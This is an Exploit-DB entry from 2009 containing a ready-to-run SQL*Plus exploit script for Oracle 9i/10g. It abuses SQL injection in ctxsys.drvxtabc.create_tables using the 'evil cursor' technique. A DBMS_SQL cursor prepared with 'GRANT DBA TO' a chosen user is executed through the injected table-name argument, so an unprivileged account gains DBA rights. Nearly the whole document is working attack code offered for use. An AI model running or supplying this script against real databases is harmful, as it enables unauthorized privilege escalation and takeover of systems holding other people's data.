Oracle - ctxsys.drvxtabc.create_tables Evil Cursor

EDB-ID:

10266

CVE:

N/A




Platform:

Multiple

Date:

2009-12-01


-- 
-- ctxsys.drvxtabc.create_tablesV2.sql
--
--
-- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tablesV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where dbms_sql.execute('||MYC||')=0--','x',2);
END;
/

prompt [-] YOU GOT THE POWAH!!